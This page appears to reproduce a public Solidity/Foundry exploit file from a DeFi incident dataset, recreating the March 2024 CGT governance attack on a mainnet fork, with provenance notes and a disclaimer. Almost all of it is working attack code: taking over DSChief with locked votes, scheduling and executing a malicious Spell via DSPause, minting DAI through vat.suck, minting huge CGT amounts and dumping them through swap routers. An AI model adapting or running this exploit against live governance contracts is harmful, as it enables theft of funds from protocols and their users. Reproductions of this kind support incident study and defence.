Skip to content
THREATWIRE

Public reproduction file

src/test/2024-03/CGT_exp.sol

Public reproduction file for dataset entry CGT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-03/CGT_exp.sol271 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo -- Total Lost : ~998B(cgt token)
8// TX : https://app.blocksec.com/explorer/tx/eth/0x4ff4028b03c3df468197358b99f5160e5709e7fce3884cc8ce818856d058e106
9// Attacker : https://etherscan.io/address/0xdaaa6294c47b5743bdafe0613d1926ee27ae8cf5
10// Attack Contract : https://etherscan.io/address/0x1e791527aea32cddbd7ceb7f04612db536816545
11// Post Report : https://investcurio.medium.com/curiodaos-recovery-plan-1255427f35de
13interface IMERC20 is IERC20 {
14 function mint(address guy, uint256 wad) external;
15 function burn(address guy, uint256 wad) external;
16 function start() external;
17 function stop() external;
20interface IDSChief {
21 function lock(
22 uint256 wad
23 ) external;
24 function vote(
25 address[] memory yays
26 ) external returns (bytes32);
27 function lift(
28 address whom
29 ) external;
30 function free(
31 uint256 wad
32 ) external;
35interface IDSPause {
36 function plot(address usr, bytes32 tag, bytes memory fax, uint256 eta) external;
37 function exec(address usr, bytes32 tag, bytes memory fax, uint256 eta) external returns (bytes memory out);
40interface IVat {
41 function suck(address u, address v, uint256 rad) external;
42 function hope(
43 address usr
44 ) external;
47interface IJoin {
48 function exit(address usr, uint256 wad) external;
51interface IRouterV3s {
52 struct ExactInputParams {
53 bytes path;
54 address recipient;
55 uint256 deadline;
56 uint256 amountIn;
57 uint256 amountOutMinimum;
58 }
60 function swapExactTokensForTokens(
61 uint256 amountIn,
62 uint256 amountOutMin,
63 address[] calldata path,
64 address to,
65 uint256 deadline
66 ) external returns (uint256[] memory amounts);
67 function exactInput(
68 ExactInputParams calldata params
69 ) external payable returns (uint256 amountOut);
72interface IOmniBridge {
73 function relayTokens(address token, address _receiver, uint256 _value) external;
75 function dailyLimit(
76 address _token
77 ) external view returns (uint256);
78 function totalSpentPerDay(address _token, uint256 _day) external view returns (uint256);
79 function getCurrentDay() external view returns (uint256);
82interface ISkaleB {
83 function depositERC20Direct(
84 string calldata schainName,
85 address erc20OnMainnet,
86 uint256 amount,
87 address receiver
88 ) external;
91interface IParachainB {
92 function lock(bytes32 to, IERC20 token, uint256 amount) external;
95interface IBobaB {
96 function depositERC20To(
97 address _l1Token,
98 address _l2Token,
99 address _to,
100 uint256 _amount,
101 uint32 _l2Gas,
102 bytes calldata _data
103 ) external;
106contract ContractTest is Test {
107 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
108 Uni_Pair_V2 Pair = Uni_Pair_V2(0x85705829c2f71EE3c40A7C28f6903e7c797c9433);
109 IDSChief chief = IDSChief(0x579A3244f38112b8AAbefcE0227555C9b6e7aaF0);
110 IDSPause pause = IDSPause(0x1e692eF9cF786Ed4534d5Ca11EdBa7709602c69f);
111 IERC20 csc = IERC20(0xfDcdfA378818AC358739621ddFa8582E6ac1aDcB);
112 IERC20 ixs = IERC20(0x73d7c860998CA3c01Ce8c808F5577d94d545d1b4);
113 IERC20 oinch = IERC20(0x111111111117dC0aa78b770fA6A738034120C302);
114 IERC20 uni = IERC20(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984);
115 IERC20 link = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
116 IERC20 xchf = IERC20(0xB4272071eCAdd69d933AdcD19cA99fe80664fc08);
117 IERC20 skl = IERC20(0x00c83aeCC790e8a4453e5dD3B0B4b3680501a7A7);
118 IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
119 IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
120 IERC20 cgt = IERC20(0xF56b164efd3CFc02BA739b719B6526A6FA1cA32a);
121 IRouterV3s router = IRouterV3s(0xDc6844cED486Ec04803f02F2Ee40BBDBEf615f21);
122 IRouterV3s routerV3 = IRouterV3s(0xE592427A0AEce92De3Edee1F18E0157C05861564);
123 IOmniBridge omniBridge = IOmniBridge(0x69c707d975e8d883920003CC357E556a4732CD03);
124 ISkaleB skaleB = ISkaleB(0x8fB1A35bB6fB9c47Fb5065BE5062cB8dC1687669);
125 IParachainB parachainB = IParachainB(0x9b8A09b3f538666479a66888441E15DDE8d13412);
126 IBobaB bobaB = IBobaB(0xdc1664458d2f0B6090bEa60A8793A4E66c2F1c00);
127 Spell spell;
129 function setUp() external {
130 cheats.createSelectFork("mainnet", 19_498_910);
131 deal(address(cgt), address(this), 80 ether);
132 }
134 function testExploit() external {
135 attack();
136 emit log_named_decimal_uint("[End] Attacker CGT after exploit", cgt.balanceOf(address(this)), 18);
137 emit log_named_decimal_uint("[End] Attacker dai after exploit", dai.balanceOf(address(this)), 18);
138 emit log_named_decimal_uint("[End] Attacker weth after exploit", weth.balanceOf(address(this)), 18);
139 }
141 function attack() public {
142 cgt.approve(address(chief), type(uint256).max);
143 chief.lock(20 ether);
144 address[] memory yays = new address[](1);
145 yays[0] = address(this);
146 chief.vote(yays);
147 chief.lift(address(this));
148 spell = new Spell();
149 address spelladdr = address(spell);
150 bytes32 tag;
151 assembly {
152 tag := extcodehash(spelladdr)
153 }
154 uint256 delay = block.timestamp + 0;
155 bytes memory sig = abi.encodeWithSignature("act(address,address)", address(this), address(cgt));
156 pause.plot(address(spell), tag, sig, delay);
157 pause.exec(address(spell), tag, sig, delay);
158 _swap0();
159 _swap1();
160 }
162 function _swap0() internal {
163 uint256 inAmount = 10 ** 8 * 1 ether;
164 address[] memory path = new address[](2);
165 path[0] = address(cgt);
166 path[1] = address(weth);
168 cgt.approve(address(router), inAmount);
169 router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);
171 path[1] = address(dai);
172 cgt.approve(address(router), inAmount);
173 router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);
175 path[1] = address(xchf);
176 cgt.approve(address(router), inAmount);
177 router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);
179 path[1] = address(oinch);
180 cgt.approve(address(router), inAmount);
181 router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);
183 path[1] = address(uni);
184 cgt.approve(address(router), inAmount);
185 router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);
187 path[1] = address(link);
188 cgt.approve(address(router), inAmount);
189 router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);
191 path[1] = address(skl);
192 cgt.approve(address(router), inAmount);
193 router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);
195 path[0] = address(csc);
196 path[1] = address(weth);
197 csc.approve(address(router), inAmount);
198 router.swapExactTokensForTokens(inAmount, 0, path, address(this), block.timestamp);
200 address[] memory path3 = new address[](3);
201 path3[0] = address(cgt);
202 path3[1] = address(0x46683747B55C4A0fF783B1A502cE682eB819eb75);
203 path3[2] = address(ixs);
205 cgt.approve(address(router), inAmount);
206 router.swapExactTokensForTokens(inAmount, 0, path3, address(this), block.timestamp);
208 cgt.approve(address(routerV3), cgt.balanceOf(address(this)));
209 bytes memory pathv3 = abi.encodePacked(cgt, uint24(10_000), weth);
210 IRouterV3s.ExactInputParams memory params = IRouterV3s.ExactInputParams({
211 path: pathv3,
212 recipient: address(this),
213 deadline: block.timestamp,
214 amountIn: inAmount,
215 amountOutMinimum: 0
216 });
218 routerV3.exactInput(params);
219 }
221 function _swap1() internal {
222 xchf.approve(address(routerV3), xchf.balanceOf(address(this)));
223 bytes memory path = abi.encodePacked(xchf, uint24(3000), weth, uint24(3000), dai);
224 IRouterV3s.ExactInputParams memory params = IRouterV3s.ExactInputParams({
225 path: path,
226 recipient: address(this),
227 deadline: block.timestamp,
228 amountIn: xchf.balanceOf(address(this)),
229 amountOutMinimum: 0
230 });
232 routerV3.exactInput(params);
234 oinch.approve(address(routerV3), oinch.balanceOf(address(this)));
235 path = abi.encodePacked(oinch, uint24(3000), weth, uint24(3000), dai);
236 params.path = path;
237 params.amountIn = oinch.balanceOf(address(this));
239 routerV3.exactInput(params);
241 uni.approve(address(routerV3), uni.balanceOf(address(this)));
242 path = abi.encodePacked(uni, uint24(3000), weth, uint24(3000), dai);
243 params.path = path;
244 params.amountIn = uni.balanceOf(address(this));
246 routerV3.exactInput(params);
248 link.approve(address(routerV3), link.balanceOf(address(this)));
249 path = abi.encodePacked(link, uint24(3000), weth, uint24(3000), dai);
250 params.path = path;
251 params.amountIn = link.balanceOf(address(this));
253 routerV3.exactInput(params);
254 }
256 fallback() external payable {}
259contract Spell {
260 function act(address user, IMERC20 cgt) public {
261 IVat vat = IVat(0x8B2B0c101adB9C3654B226A3273e256a74688E57);
262 IJoin daiJoin = IJoin(0xE35Fc6305984a6811BD832B0d7A2E6694e37dfaF);
264 vat.suck(address(this), address(this), 10 ** 9 * 10 ** 18 * 10 ** 27);
266 vat.hope(address(daiJoin));
267 daiJoin.exit(user, 10 ** 9 * 1 ether);
269 cgt.mint(user, 10 ** 12 * 1 ether);
270 }

Analysis

Dataset entry

Public Foundry test for “CGT” (2024-03-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

18 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xdaaa6294c47b5743bdafe0613d1926ee27ae8cf5

  • Attack Contract

    0x1e791527aea32cddbd7ceb7f04612db536816545

File record

Name
CGT
Path
src/test/2024-03/CGT_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5deb0ef3ba2883cf65fdea82231e58e8cab68ac2
Language
Solidity
Size
272 lines
Date
2024-03-23
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-03/CGT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5deb0ef3ba2883cf65fdea82231e58e8cab68ac2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.